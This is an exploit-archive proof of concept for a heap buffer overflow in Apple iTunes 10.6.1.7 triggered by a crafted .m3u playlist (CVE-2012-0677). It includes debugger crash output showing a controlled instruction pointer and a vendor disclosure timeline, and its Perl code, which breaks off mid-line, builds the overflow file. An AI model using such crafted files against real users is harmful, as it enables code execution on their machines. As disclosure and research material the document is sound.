Apple iTunes 10.6.1.7 – ‘.m3u’ Walking Heap Buffer Overflow (PoC)
#!/usr/bin/perl # # # Apple iTunes 10.6.1.7 M3U Playlist File Walking Heap Buffer Overflow # # # Vendor: Apple Inc. # Product web page: http://www.apple.com # Affected version: 10.6.1.7 and 10.6.0.40 # # Summary: iTunes is a free application for your Mac or PC. It lets you # organize and play digital music and video on your computer. It can # automatically download new music, app, and book purchases across all # your devices and computers. And its a store that has everything you # need to be entertained. Anywhere. Anytime. # # Desc: The vulnerability is caused due to a boundary error in the processing # of a playlist file, which can be exploited to cause a heap based buffer # overflow when a user opens e.g. a specially crafted .M3U file. Successful # exploitation could allow execution of arbitrary code on the affected node. # # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # (940.fc0): Access violation - code c0000005 (!!! second chance !!!) # eax=41414141 ebx=08508cd8 ecx=41414141 edx=052a6528 esi=052a64b0 edi=0559ef20 # eip=41414141 esp=0012d8e8 ebp=7c90ff2d iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 # <Unloaded_Card.dll>+0x41414130: # 41414141 ?? ??? # # ~~~ # # (6b0.a04): Access violation - code c0000005 (!!! second chance !!!) # eax=41414141 ebx=00000000 ecx=00000014 edx=41414141 esi=41414141 edi=0187e10d # eip=0187deec esp=0b0cfcd0 ebp=0b0cfcf0 iopl=0 nv up ei pl nz na pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 # Defaulted to export symbols for C:\Program Files\Common Files\Apple\Apple Application Support\CoreFoundation.dll - # CoreFoundation!CFWriteStreamCreateWithAllocatedBuffers+0x40: # 0187deec 8b00 mov eax,dword ptr [eax] ds:0023:41414141=???????? # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # # Tested on: Microsoft Windows XP Professional SP3 EN (32bit) # Microsoft Windows 7 Ultimate SP1 EN (64bit) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Zero Science Lab - http://www.zeroscience.mk # # # Vendor status: # # [13.03.2012] Vulnerability discovered in version 10.6.0.40. # [29.03.2012] Vulnerability present in version 10.6.1.7. # [11.05.2012] Vendor contacted. # [11.05.2012] Vendor responds asking more details. # [11.05.2012] Sent detailed information and PoC code to the vendor. # [12.05.2012] Vendor begins investigation. # [14.05.2012] Asked vendor for confirmation. # [17.05.2012] Vendor confirms the vulnerability, developing patch. # [17.05.2012] Requested a scheduled patch release date from vendor. # [18.05.2012] Vendor replies. # [06.06.2012] Asked vendor for status update. # [08.06.2012] Vendor shares information about security update. # [11.06.2012] Vendor releases version 10.6.3 to address this issue. # [12.06.2012] Coordinated public security advisory released. # # # Advisory ID: ZSL-2012-5093 # Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2012-5093.php # Advisory TXT: http://www.zeroscience.mk/codes/itunes_bof.txt # # Apple ID: APPLE-SA-2012-06-11-1 # Apple Advisory #1: http://support.apple.com/kb/HT5318 # Apple Advisory #2: http://support.apple.com/kb/HT1222 # # CVE ID: CVE-2012-0677 # CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0677 # # # 13.03.2012 # use strict; my $FILE = "HIEROGLYPH.m3u"; my $AN = "\x44\x44\x44\x44"; my $EGYPTIAN = "\x43" x 16560; my $LIKE = "\x42\x42\x42\x42"; ####### #OOOOOOOOOOY my $WALK="\x23\x45".
